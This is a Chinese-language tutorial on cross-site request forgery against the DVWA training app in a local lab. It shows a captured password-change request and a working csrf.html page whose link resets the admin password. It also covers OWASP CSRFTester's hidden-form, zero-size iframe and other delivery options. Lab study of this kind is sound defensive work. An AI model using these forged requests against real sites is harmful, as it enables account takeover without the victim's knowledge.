CSRF 攻击流程为:
- 攻击者发现CSRF漏洞——构造代码——发送给受害人——受害人打开——受害人执行代码——完成攻击
完成攻击成功的条件:
管理员正在网站后台,或则管理员的 session 并没有失效。
测试网站:
owaspbwa 环境中的 DVWA 应用环境
测试内容为 CSRF 漏洞
如图所示:
修改登陆密码的 HTTP 请求内容如下:
GET /dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change HTTP/1.1
Host: 192.168.232.132
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) ApplewebKit/537.36 (Khtml, like Gecko) Chrome/57.0.2984.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: https://192.168.232.132/dvwa/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate, sdch, br
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: security=low; PHPSESSID=3i35050qluj2hvvqu9rk760o81; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
Nginx 测试
本地搭建 nginx 环境,伪造 http 请求,提交 http 请求,直接修改 192.168.232.132 中 DVWA 的登陆口令!!!
创建 csrf.html 文件,内容如下:
<html>
<head>
</head>
<body>
This is a CSRF test.
<a href="https://192.168.232.132/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"> 点这里 </a>
</body>
</html>
访问 CSRF.html,如图所示
点击超链接,成功发送请求,且修改了 DVWA 的登录口令,如图所示:
使用修改后的密码可以直接登陆后台!!!
工具:OWASP-CSRFTester-1.0.jar,可以自动生成不同内容的攻击文件。
浏览器设置代理,端口为 8008,软件看下有没有 token 的存在,然后开始使用。
软件中 Report Type 了是让你选择用什么方法来进行攻击:
Forms:创建一个 form 表单。内容为 hidden(隐藏),用户不可见(可 POST、GET)
iFrame:创建一个 iframe 框架,高宽为 0,用户不可见。(可 POST、GET)
IMG:创建一个 IMG 标签 (只能 GET)。
XHR:创建一个 AJAX 请求 (可 POST、GET)
Link:创建一个 a 标签的超链接 (只能 GET)
通常使用第一个就可以了
第二个容易找不到对象 (如果你是新手,对 JavaScript 不熟的话,不建议选择这个)
第三个只能发送 GET 请求,有限制。
第四个有跨域限制,有的浏览器不允许发送跨域请求,除非网站有设置。
第五个需要点击才能触发 (当然可以修改为自动触发),还有一个是他也只能发送 GET 请求。
本次测试全部为本地环境,如有雷同,纯属巧合!!!
就到这里吧!!!
来源: